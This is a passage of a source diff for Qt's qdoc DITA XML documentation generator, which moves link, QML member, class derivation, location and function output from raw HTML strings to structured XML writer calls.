+ link.prepend(outFileName());
+ qDebug() << "LOCAL LINK:" << link;
+ }
return link;
}
-void DitaXmlGenerator::generateIndex(const QString &fileBase,
- const QString &url,
- const QString &title)
+void DitaXmlGenerator::generateIndex(const QString& fileBase,
+ const QString& url,
+ const QString& title)
{
myTree->generateIndex(outputDir() + "/" + fileBase + ".index", url, title);
}
-void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
+void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker)
{
Text text;
@@ -4046,13 +4113,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
Atom *targetAtom = 0;
if (fakeNode && node->type() == Node::Class) {
QString oldName(node->name());
- targetAtom = myTree->findTarget(oldName.replace("3", ""),
- fakeNode);
+ targetAtom = myTree->findTarget(oldName.replace("3",""),fakeNode);
}
if (targetAtom) {
- text << Atom(Atom::Link, linkForNode(fakeNode, node) + "#" +
- refForAtom(targetAtom, fakeNode));
+ QString fn = fileName(fakeNode);
+ QString guid = lookupGuid(fn,refForAtom(targetAtom,fakeNode));
+ text << Atom(Atom::GuidLink, fn + "#" + guid);
}
else
text << Atom(Atom::Link, "Porting to Qt 4");
@@ -4070,56 +4137,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
}
}
-#ifdef GENERATE_MAC_REFS
-/*
- No longer valid.
- */
-void DitaXmlGenerator::generateMacRef(const Node *node, CodeMarker *marker)
-{
- if (!pleaseGenerateMacRef || marker == 0)
- return;
-
- QStringList macRefs = marker->macRefsForNode(node);
- foreach (const QString &macRef, macRefs)
- out() << "<a name=\"" << "//apple_ref/" << macRef << "\"></a>\n";
-}
-#endif
-
-void DitaXmlGenerator::beginLink(const QString &link,
- const Node *node,
- const Node *relative,
- CodeMarker *marker)
+void DitaXmlGenerator::beginLink(const QString& link)
{
- Q_UNUSED(marker)
- Q_UNUSED(relative)
-
this->link = link;
- if (link.isEmpty()) {
- if (showBrokenLinks)
- writer.writeStartElement("i");
- }
- else if (node == 0 || (relative != 0 &&
- node->status() == relative->status())) {
- writer.writeStartElement("xref");
- writer.writeAttribute("href",link);
- }
- else {
- switch (node->status()) {
- case Node::Obsolete:
- writer.writeStartElement("xref");
- writer.writeAttribute("href",link);
- writer.writeAttribute("outputclass","obsolete");
- break;
- case Node::Compat:
- writer.writeStartElement("xref");
- writer.writeAttribute("href",link);
- writer.writeAttribute("outputclass","compat");
- break;
- default:
- writer.writeStartElement("xref");
- writer.writeAttribute("href",link);
- }
- }
+ if (link.isEmpty())
+ return;
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",link);
inLink = true;
}
@@ -4128,23 +4152,21 @@ void DitaXmlGenerator::endLink()
if (inLink) {
if (link.isEmpty()) {
if (showBrokenLinks)
- writer.writeEndElement(); // i
+ xmlWriter().writeEndElement(); // </i>
}
else {
if (inObsoleteLink) {
- writer.writeStartElement("sup");
- writer.writeCharacters("(obsolete)");
- writer.writeEndElement(); // sup
+ xmlWriter().writeStartElement("sup");
+ xmlWriter().writeCharacters("(obsolete)");
+ xmlWriter().writeEndElement(); // </sup>
}
- writer.writeEndElement(); // xref
+ xmlWriter().writeEndElement(); // </xref>
}
}
inLink = false;
inObsoleteLink = false;
}
-#ifdef QDOC_QML
-
/*!
Generates the summary for the \a section. Only used for
sections of QML element documentation.
@@ -4152,126 +4174,85 @@ void DitaXmlGenerator::endLink()
Currently handles only the QML property group.
*/
void DitaXmlGenerator::generateQmlSummary(const Section& section,
- const Node *relative,
- CodeMarker *marker)
+ const Node* relative,
+ CodeMarker* marker)
{
if (!section.members.isEmpty()) {
+ xmlWriter().writeStartElement("ul");
NodeList::ConstIterator m;
- int count = section.members.size();
- bool twoColumn = false;
- if (section.members.first()->type() == Node::QmlProperty) {
- twoColumn = (count >= 5);
- }
- if (twoColumn)
- out() << "<table class=\"qmlsummary\">\n";
- if (++numTableRows % 2 == 1)
- out() << "<tr class=\"odd topAlign\">";
- else
- out() << "<tr class=\"even topAlign\">";
- // << "<tr><td class=\"topAlign\">";
- out() << "<ul>\n";
-
- int row = 0;
m = section.members.begin();
while (m != section.members.end()) {
- if (twoColumn && row == (int) (count + 1) / 2)
- out() << "</ul></td><td class=\"topAlign\"><ul>\n";
- out() << "<li class=\"fn\">";
+ xmlWriter().writeStartElement("li");
generateQmlItem(*m,relative,marker,true);
- out() << "</li>\n";
- row++;
+ xmlWriter().writeEndElement(); // </li>
++m;
}
- out() << "</ul>\n";
- if (twoColumn)
- out() << "</td></tr>\n</table>\n";
+ xmlWriter().writeEndElement(); // </ul>
}
}
/*!
+ zzz
Outputs the html detailed documentation for a section
on a QML element reference page.
*/
-void DitaXmlGenerator::generateDetailedQmlMember(const Node *node,
- const InnerNode *relative,
- CodeMarker *marker)
+void DitaXmlGenerator::generateDetailedQmlMember(const Node* node,
+ const InnerNode* relative,
+ CodeMarker* marker)
{
+ QString marked;
const QmlPropertyNode* qpn = 0;
-#ifdef GENERATE_MAC_REFS
- generateMacRef(node, marker);
-#endif
- out() << "<div class=\"qmlitem\">";
if (node->subType() == Node::QmlPropertyGroup) {
const QmlPropGroupNode* qpgn = static_cast<const QmlPropGroupNode*>(node);
NodeList::ConstIterator p = qpgn->childNodes().begin();
- out() << "<div class=\"qmlproto\">";
- out() << "<table class=\"qmlname\">";
-
+ xmlWriter().writeStartElement("ul");
while (p != qpgn->childNodes().end()) {
if ((*p)->type() == Node::QmlProperty) {
qpn = static_cast<const QmlPropertyNode*>(*p);
-
- if (++numTableRows % 2 == 1)
- out() << "<tr class=\"odd\">";
- else
- out() << "<tr class=\"even\">";
-
- out() << "<td><p>";
- //out() << "<tr><td>"; // old
- out() << "<a name=\"" + refForNode(qpn) + "\"></a>";
+ xmlWriter().writeStartElement("li");
+ writeGuidAttribute((Node*)qpn);
+ QString attr;
if (!qpn->isWritable(myTree))
- out() << "<span class=\"qmlreadonly\">read-only</span>";
- if (qpgn->isDefault())
- out() << "<span class=\"qmldefault\">default</span>";
+ attr = "read-only";
+ if (qpgn->isDefault()) {
+ if (!attr.isEmpty())
+ attr += " ";
+ attr += "default";
+ }
+ if (!attr.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attr);
generateQmlItem(qpn, relative, marker, false);
- out() << "</td></tr>";
+ xmlWriter().writeEndElement(); // </li>
}
++p;
}
- out() << "</table>";
- out() << "</div>";
+ xmlWriter().writeEndElement(); // </ul>
}
else if (node->type() == Node::QmlSignal) {
- const FunctionNode* qsn = static_cast<const FunctionNode*>(node);
- out() << "<div class=\"qmlproto\">";
- out() << "<table class=\"qmlname\">";
- //out() << "<tr>";
- if (++numTableRows % 2 == 1)
- out() << "<tr class=\"odd\">";
- else
- out() << "<tr class=\"even\">";
- out() << "<td><p>";
- out() << "<a name=\"" + refForNode(qsn) + "\"></a>";
- generateSynopsis(qsn,relative,marker,CodeMarker::Detailed,false);
- //generateQmlItem(qsn,relative,marker,false);
- out() << "</p></td></tr>";
- out() << "</table>";
- out() << "</div>";
+ Node* n = const_cast<Node*>(node);
+ xmlWriter().writeStartElement("ul");
+ xmlWriter().writeStartElement("li");
+ writeGuidAttribute(n);
+ marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed);
+ writeText(marked, marker, relative);
+ xmlWriter().writeEndElement(); // </li>
+ xmlWriter().writeEndElement(); // </ul>
}
else if (node->type() == Node::QmlMethod) {
- const FunctionNode* qmn = static_cast<const FunctionNode*>(node);
- out() << "<div class=\"qmlproto\">";
- out() << "<table class=\"qmlname\">";
- //out() << "<tr>";
- if (++numTableRows % 2 == 1)
- out() << "<tr class=\"odd\">";
- else
- out() << "<tr class=\"even\">";
- out() << "<td><p>";
- out() << "<a name=\"" + refForNode(qmn) + "\"></a>";
- generateSynopsis(qmn,relative,marker,CodeMarker::Detailed,false);
- out() << "</p></td></tr>";
- out() << "</table>";
- out() << "</div>";
+ Node* n = const_cast<Node*>(node);
+ xmlWriter().writeStartElement("ul");
+ xmlWriter().writeStartElement("li");
+ writeGuidAttribute(n);
+ marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed);
+ writeText(marked, marker, relative);
+ xmlWriter().writeEndElement(); // </li>
+ xmlWriter().writeEndElement(); // </ul>
}
- out() << "<div class=\"qmldoc\">";
generateStatus(node, marker);
generateBody(node, marker);
generateThreadSafeness(node, marker);
generateSince(node, marker);
generateAlsoList(node, marker);
- out() << "</div>";
- out() << "</div>";
}
/*!
@@ -4279,7 +4260,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node,
if there should be one.
*/
void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker)
{
if (cn && !cn->links().empty()) {
if (cn->links().contains(Node::InheritsLink)) {
@@ -4289,7 +4270,8 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
const Node* n = myTree->findNode(strList,Node::Fake);
if (n && n->subType() == Node::QmlClass) {
const QmlClassNode* qcn = static_cast<const QmlClassNode*>(n);
- out() << "<p class=\"centerAlign\">";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","inherits");
Text text;
text << "[Inherits ";
text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn));
@@ -4298,7 +4280,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
text << "]";
generateText(text, cn, marker);
- out() << "</p>";
+ xmlWriter().writeEndElement(); // </p>
}
}
}
@@ -4309,7 +4291,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
if it is inherited by any other elements.
*/
void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker)
{
if (cn) {
NodeList subs;
@@ -4332,11 +4314,12 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn,
is set to Node::Internal, do nothing.
*/
void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
- CodeMarker* marker)
+ CodeMarker* marker)
{
const ClassNode* cn = qcn->classNode();
if (cn && (cn->status() != Node::Internal)) {
- out() << "<p class=\"centerAlign\">";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","instantiates");
Text text;
text << "[";
text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn));
@@ -4350,7 +4333,7 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
text << "]";
generateText(text, qcn, marker);
- out() << "</p>";
+ xmlWriter().writeEndElement(); // </p>
}
}
@@ -4362,12 +4345,13 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
is set to Node::Internal, do nothing.
*/
void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker)
{
if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) {
const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake);
if (n && n->subType() == Node::QmlClass) {
- out() << "<p class=\"centerAlign\">";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","instantiated-by");
Text text;
text << "[";
text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn));
@@ -4381,138 +4365,12 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn,
text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
text << "]";
generateText(text, cn, marker);
- out() << "</p>";
+ xmlWriter().writeEndElement(); // </p>
}
}
}
/*!
- Generate the <page> element for the given \a node using the \a writer.
- Return true if a <page> element was written; otherwise return false.
- */
-bool DitaXmlGenerator::generatePageElement(QXmlStreamWriter& writer,
- const Node* node,
- CodeMarker* marker) const
-{
- if (node->pageType() == Node::NoPageType)
- return false;
- if (node->name().isEmpty())
- return true;
- if (node->access() == Node::Private)
- return false;
- if (!node->isInnerNode())
- return false;
-
- QString title;
- QString rawTitle;
- QString fullTitle;
- const InnerNode* inner = static_cast<const InnerNode*>(node);
-
- writer.writeStartElement("page");
- QXmlStreamAttributes attributes;
- QString t;
- t.setNum(id++);
- switch (node->type()) {
- case Node::Fake:
- {
- const FakeNode* fake = static_cast<const FakeNode*>(node);
- title = fake->fullTitle();
- break;
- }
- case Node::Class:
- {
- title = node->name() + " Class Reference";
- break;
- }
- case Node::Namespace:
- {
- rawTitle = marker->plainName(inner);
- fullTitle = marker->plainFullName(inner);
- title = rawTitle + " Namespace Reference";
- break;
- }
- default:
- title = node->name();
- break;
- }
- writer.writeAttribute("id",t);
- writer.writeStartElement("pageWords");
- writer.writeCharacters(title);
- if (!inner->pageKeywords().isEmpty()) {
- const QStringList& w = inner->pageKeywords();
- for (int i = 0; i < w.size(); ++i) {
- writer.writeCharacters(" ");
- writer.writeCharacters(w.at(i).toLocal8Bit().constData());
- }
- }
- writer.writeEndElement();
- writer.writeStartElement("pageTitle");
- writer.writeCharacters(title);
- writer.writeEndElement();
- writer.writeStartElement("pageUrl");
- writer.writeCharacters(PageGenerator::fileName(node));
- writer.writeEndElement();
- writer.writeStartElement("pageType");
- switch (node->pageType()) {
- case Node::ApiPage:
- writer.writeCharacters("APIPage");
- break;
- case Node::ArticlePage:
- writer.writeCharacters("Article");
- break;
- case Node::ExamplePage:
- writer.writeCharacters("Example");
- break;
- default:
- break;
- }
- writer.writeEndElement();
- writer.writeEndElement();
- return true;
-}
-
-/*!
- Traverse the tree recursively and generate the <keyword>
- elements.
- */
-void DitaXmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const
-{
- if (generatePageElement(writer, node, marker)) {
-
- if (node->isInnerNode()) {
- const InnerNode *inner = static_cast<const InnerNode *>(node);
-
- // Recurse to write an element for this child node and all its children.
- foreach (const Node *child, inner->childNodes())
- generatePageElements(writer, child, marker);
- }
- }
-}
-
-/*!
- Outputs the file containing the index used for searching the html docs.
- */
-void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const
-{
- QFile file(fileName);
- if (!file.open(QFile::WriteOnly | QFile::Text))
- return ;
-
- QXmlStreamWriter writer(&file);
- writer.setAutoFormatting(true);
- writer.writeStartDocument();
- writer.writeStartElement("qtPageIndex");
-
- generatePageElements(writer, myTree->root(), marker);
-
- writer.writeEndElement(); // qtPageIndex
- writer.writeEndDocument();
- file.close();
-}
-
-#endif
-
-/*!
Return the full qualification of the node \a n, but without
the name of \a n itself. e.g. A::B::C
*/
@@ -4537,48 +4395,94 @@ QString DitaXmlGenerator::fullQualification(const Node* n)
return fq;
}
+/*!
+ Outputs the <cxxClassDerivations> element.
+ \code
+ <cxxClassDerivations>
+ <cxxClassDerivation>
+ ...
+ </cxxClassDerivation>
+ ...
+ </cxxClassDerivations>
+ \endcode
+
+ The <cxxClassDerivation> element is:
+
+ \code
+ <cxxClassDerivation>
+ <cxxClassDerivationAccessSpecifier value="public"/>
+ <cxxClassBaseClass href="class_base">Base</cxxClassBaseClass>
+ </cxxClassDerivation>
+ \endcode
+ */
void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker)
{
QList<RelatedClass>::ConstIterator r;
int index;
if (!cn->baseClasses().isEmpty()) {
- writer.writeStartElement(CXXCLASSDERIVATIONS);
+ xmlWriter().writeStartElement(CXXCLASSDERIVATIONS);
r = cn->baseClasses().begin();
index = 0;
while (r != cn->baseClasses().end()) {
- writer.writeStartElement(CXXCLASSDERIVATION);
- writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER);
- writer.writeAttribute("value",(*r).accessString());
- writer.writeEndElement(); // </cxxClassDerivationAccessSpecifier>
- writer.writeStartElement(CXXCLASSBASECLASS);
- writer.writeAttribute("href",(*r).node->ditaXmlHref());
- writer.writeCharacters(marker->plainFullName((*r).node));
- writer.writeEndElement(); // </cxxClassBaseClass>
- writer.writeEndElement(); // </cxxClassDerivation>
+ xmlWriter().writeStartElement(CXXCLASSDERIVATION);
+ xmlWriter().writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",(*r).accessString());
+ xmlWriter().writeEndElement(); // </cxxClassDerivationAccessSpecifier>
+
+ // not included: <cxxClassDerivationVirtual>
+
+ xmlWriter().writeStartElement(CXXCLASSBASECLASS);
+ QString attr = fileName((*r).node) + "#" + (*r).node->guid();
+ xmlWriter().writeAttribute("href",attr);
+ writeCharacters(marker->plainFullName((*r).node));
+ xmlWriter().writeEndElement(); // </cxxClassBaseClass>
+
+ // not included: <ClassBaseStruct> or <cxxClassBaseUnion>
+
+ xmlWriter().writeEndElement(); // </cxxClassDerivation>
+
+ // not included: <cxxStructDerivation>
+
++r;
}
- writer.writeEndElement(); // </cxxClassDerivations>
+ xmlWriter().writeEndElement(); // </cxxClassDerivations>
}
}
+/*!
+ Writes a <cxxXXXAPIItemLocation> element, depending on the
+ type of the node \a n, which can be a class, function, enum,
+ typedef, or property.
+ */
void DitaXmlGenerator::writeLocation(const Node* n)
{
- QString s1, s2, s3;
- if (n->type() == Node::Class) {
+ QString s1, s2, s3, s4, s5, s6;
+ if (n->type() == Node::Class || n->type() == Node::Namespace) {
s1 = CXXCLASSAPIITEMLOCATION;
s2 = CXXCLASSDECLARATIONFILE;
s3 = CXXCLASSDECLARATIONFILELINE;
}
else if (n->type() == Node::Function) {
- s1 = CXXFUNCTIONAPIITEMLOCATION;
- s2 = CXXFUNCTIONDECLARATIONFILE;
- s3 = CXXFUNCTIONDECLARATIONFILELINE;
+ FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(n));
+ if (fn->isMacro()) {
+ s1 = CXXDEFINEAPIITEMLOCATION;
+ s2 = CXXDEFINEDECLARATIONFILE;
+ s3 = CXXDEFINEDECLARATIONFILELINE;
+ }
+ else {
+ s1 = CXXFUNCTIONAPIITEMLOCATION;
+ s2 = CXXFUNCTIONDECLARATIONFILE;
+ s3 = CXXFUNCTIONDECLARATIONFILELINE;
+ }
}
else if (n->type() == Node::Enum) {
s1 = CXXENUMERATIONAPIITEMLOCATION;
s2 = CXXENUMERATIONDECLARATIONFILE;
s3 = CXXENUMERATIONDECLARATIONFILELINE;
+ s4 = CXXENUMERATIONDEFINITIONFILE;
+ s5 = CXXENUMERATIONDEFINITIONFILELINESTART;
+ s6 = CXXENUMERATIONDEFINITIONFILELINEEND;
}
else if (n->type() == Node::Typedef) {
s1 = CXXTYPEDEFAPIITEMLOCATION;
@@ -4591,92 +4495,133 @@ void DitaXmlGenerator::writeLocation(const Node* n)
s2 = CXXVARIABLEDECLARATIONFILE;
s3 = CXXVARIABLEDECLARATIONFILELINE;
}
- writer.writeStartElement(s1);
- writer.writeStartElement(s2);
- writer.writeAttribute("name","filePath");
- writer.writeAttribute("value",n->location().filePath());
- writer.writeEndElement(); // </cxx<s2>DeclarationFile>
- writer.writeStartElement(s3);
- writer.writeAttribute("name","lineNumber");
+ xmlWriter().writeStartElement(s1);
+ xmlWriter().writeStartElement(s2);
+ xmlWriter().writeAttribute("name","filePath");
+ xmlWriter().writeAttribute("value",n->location().filePath());
+ xmlWriter().writeEndElement(); // </cxx<s2>DeclarationFile>
+ xmlWriter().writeStartElement(s3);
+ xmlWriter().writeAttribute("name","lineNumber");
QString lineNr;
- writer.writeAttribute("value",lineNr.setNum(n->location().lineNo()));
- writer.writeEndElement(); // </cxx<s3>DeclarationFileLine>
- writer.writeEndElement(); // </cxx<s1>ApiItemLocation>
+ xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+ xmlWriter().writeEndElement(); // </cxx<s3>DeclarationFileLine>
+ if (!s4.isEmpty()) { // zzz This stuff is temporary, I think.
+ xmlWriter().writeStartElement(s4);
+ xmlWriter().writeAttribute("name","filePath");
+ xmlWriter().writeAttribute("value",n->location().filePath());
+ xmlWriter().writeEndElement(); // </cxx<s4>DefinitionFile>
+ xmlWriter().writeStartElement(s5);
+ xmlWriter().writeAttribute("name","lineNumber");
+ xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+ xmlWriter().writeEndElement(); // </cxx<s5>DefinitionFileLineStart>
+ xmlWriter().writeStartElement(s6);
+ xmlWriter().writeAttribute("name","lineNumber");
+ xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+ xmlWriter().writeEndElement(); // </cxx<s6>DefinitionFileLineEnd>
+ }
+
+ // not included: <cxxXXXDefinitionFile>, <cxxXXXDefinitionFileLineStart>,
+ // and <cxxXXXDefinitionFileLineEnd>
+
+ xmlWriter().writeEndElement(); // </cxx<s1>ApiItemLocation>
}
+/*!
+ Write the <cxxFunction> elements.
+ */
void DitaXmlGenerator::writeFunctions(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ const Node* n,
+ CodeMarker* marker,
+ const QString& attribute)
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Function) {
FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(*m));
- writer.writeStartElement(CXXFUNCTION);
- writer.writeAttribute("id",fn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(fn->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXFUNCTION);
+ xmlWriter().writeAttribute("id",fn->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ if (fn->metaness() == FunctionNode::Signal)
+ xmlWriter().writeAttribute("class","signal");
+ else if (fn->metaness() == FunctionNode::Slot)
+ xmlWriter().writeAttribute("class","slot");
+ writeCharacters(fn->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(fn,marker);
- writer.writeStartElement(CXXFUNCTIONDETAIL);
- writer.writeStartElement(CXXFUNCTIONDEFINITION);
- writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER);
- writer.writeAttribute("value",fn->accessString());
- writer.writeEndElement(); // <cxxFunctionAccessSpecifier>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXFUNCTIONDETAIL);
+ xmlWriter().writeStartElement(CXXFUNCTIONDEFINITION);
+ xmlWriter().writeStartElement(CXXFUNCTIONACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",fn->accessString());
+ xmlWriter().writeEndElement(); // <cxxFunctionAccessSpecifier>
+
+ // not included: <cxxFunctionStorageClassSpecifierExtern>
if (fn->isStatic()) {
- writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC);
- writer.writeAttribute("name","static");
- writer.writeAttribute("value","static");
- writer.writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic>
+ xmlWriter().writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC);
+ xmlWriter().writeAttribute("name","static");
+ xmlWriter().writeAttribute("value","static");
+ xmlWriter().writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic>
}
-
+
+ // not included: <cxxFunctionStorageClassSpecifierMutable>,
+
if (fn->isConst()) {
- writer.writeStartElement(CXXFUNCTIONCONST);
- writer.writeAttribute("name","const");
- writer.writeAttribute("value","const");
- writer.writeEndElement(); // <cxxFunctionConst>
+ xmlWriter().writeStartElement(CXXFUNCTIONCONST);
+ xmlWriter().writeAttribute("name","const");
+ xmlWriter().writeAttribute("value","const");
+ xmlWriter().writeEndElement(); // <cxxFunctionConst>
}
+
+ // not included: <cxxFunctionExplicit>
+ // <cxxFunctionInline
if (fn->virtualness() != FunctionNode::NonVirtual) {
- writer.writeStartElement(CXXFUNCTIONVIRTUAL);
- writer.writeAttribute("name","virtual");
- writer.writeAttribute("value","virtual");
- writer.writeEndElement(); // <cxxFunctionVirtual>
+ xmlWriter().writeStartElement(CXXFUNCTIONVIRTUAL);
+ xmlWriter().writeAttribute("name","virtual");
+ xmlWriter().writeAttribute("value","virtual");
+ xmlWriter().writeEndElement(); // <cxxFunctionVirtual>
if (fn->virtualness() == FunctionNode::PureVirtual) {
- writer.writeStartElement(CXXFUNCTIONPUREVIRTUAL);
- writer.writeAttribute("name","pure virtual");
- writer.writeAttribute("value","pure virtual");
- writer.writeEndElement(); // <cxxFunctionPureVirtual>
+ xmlWriter().writeStartElement(CXXFUNCTIONPUREVIRTUAL);
+ xmlWriter().writeAttribute("name","pure virtual");
+ xmlWriter().writeAttribute("value","pure virtual");
+ xmlWriter().writeEndElement(); // <cxxFunctionPureVirtual>
}
}
- if (fn->name() == cn->name()) {
- writer.writeStartElement(CXXFUNCTIONCONSTRUCTOR);
- writer.writeAttribute("name","constructor");
- writer.writeAttribute("value","constructor");
- writer.writeEndElement(); // <cxxFunctionConstructor>
+ if (fn->name() == n->name()) {
+ xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR);
+ xmlWriter().writeAttribute("name","constructor");
+ xmlWriter().writeAttribute("value","constructor");
+ xmlWriter().writeEndElement(); // <cxxFunctionConstructor>
}
else if (fn->name()[0] == QChar('~')) {
- writer.writeStartElement(CXXFUNCTIONDESTRUCTOR);
- writer.writeAttribute("name","destructor");
- writer.writeAttribute("value","destructor");
- writer.writeEndElement(); // <cxxFunctionDestructor>
+ xmlWriter().writeStartElement(CXXFUNCTIONDESTRUCTOR);
+ xmlWriter().writeAttribute("name","destructor");
+ xmlWriter().writeAttribute("value","destructor");
+ xmlWriter().writeEndElement(); // <cxxFunctionDestructor>
}
else {
- writer.writeStartElement(CXXFUNCTIONDECLAREDTYPE);
- writer.writeCharacters(fn->returnType());
- writer.writeEndElement(); // <cxxFunctionDeclaredType>
+ xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE);
+ writeCharacters(fn->returnType());
+ xmlWriter().writeEndElement(); // <cxxFunctionDeclaredType>
}
+
+ // not included: <cxxFunctionReturnType>
+
QString fq = fullQualification(fn);
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXFUNCTIONSCOPEDNAME);
- writer.writeCharacters(fq);
- writer.writeEndElement(); // <cxxFunctionScopedName>
+ xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME);
+ writeCharacters(fq);
+ xmlWriter().writeEndElement(); // <cxxFunctionScopedName>
}
- writer.writeStartElement(CXXFUNCTIONPROTOTYPE);
- writer.writeCharacters(fn->signature(true));
- writer.writeEndElement(); // <cxxFunctionPrototype>
+ xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE);
+ writeCharacters(fn->signature(true));
+ xmlWriter().writeEndElement(); // <cxxFunctionPrototype>
QString fnl = fn->signature(false);
int idx = fnl.indexOf(' ');
@@ -4685,30 +4630,30 @@ void DitaXmlGenerator::writeFunctions(const Section& s,
else
++idx;
fnl = fn->parent()->name() + "::" + fnl.mid(idx);
- writer.writeStartElement(CXXFUNCTIONNAMELOOKUP);
- writer.writeCharacters(fnl);
- writer.writeEndElement(); // <cxxFunctionNameLookup>
+ xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP);
+ writeCharacters(fnl);
+ xmlWriter().writeEndElement(); // <cxxFunctionNameLookup>
- if (fn->isReimp() && fn->reimplementedFrom() != 0) {
+ if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) {
FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom();
- writer.writeStartElement(CXXFUNCTIONREIMPLEMENTED);
- writer.writeAttribute("href",rfn->ditaXmlHref());
- writer.writeCharacters(marker->plainFullName(rfn));
- writer.writeEndElement(); // </cxxFunctionReimplemented>
+ if (rfn && !rfn->isInternal()) {
+ xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED);
+ xmlWriter().writeAttribute("href",rfn->ditaXmlHref());
+ writeCharacters(marker->plainFullName(rfn));
+ xmlWriter().writeEndElement(); // </cxxFunctionReimplemented>
+ }
}
- writeParameters(fn,marker);
+ writeParameters(fn);
writeLocation(fn);
- writer.writeEndElement(); // <cxxFunctionDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxFunctionDefinition>
- if (!fn->doc().isEmpty()) {
- generateBody(fn, marker);
- // generateAlsoList(inner, marker);
- }
+ writeDetailedDescription(fn, marker, true, QString());
+ // generateAlsoList(inner, marker);
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxFunctionDetail>
- writer.writeEndElement(); // </cxxFunction>
+ // not included: <example> or <apiImpl>
+
+ xmlWriter().writeEndElement(); // </cxxFunctionDetail>
+ xmlWriter().writeEndElement(); // </cxxFunction>
if (fn->metaness() == FunctionNode::Ctor ||
fn->metaness() == FunctionNode::Dtor ||
@@ -4719,445 +4664,748 @@ void DitaXmlGenerator::writeFunctions(const Section& s,
}
}
-void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker)
+/*!
+ This function writes the <cxxFunctionParameters> element.
+ */
+void DitaXmlGenerator::writeParameters(const FunctionNode* fn)
{
const QList<Parameter>& parameters = fn->parameters();
if (!parameters.isEmpty()) {
- writer.writeStartElement(CXXFUNCTIONPARAMETERS);
+ xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERS);
QList<Parameter>::ConstIterator p = parameters.begin();
while (p != parameters.end()) {
- writer.writeStartElement(CXXFUNCTIONPARAMETER);
- writer.writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE);
- writer.writeCharacters((*p).leftType());
+ xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER);
+ xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE);
+ writeCharacters((*p).leftType());
if (!(*p).rightType().isEmpty())
- writer.writeCharacters((*p).rightType());
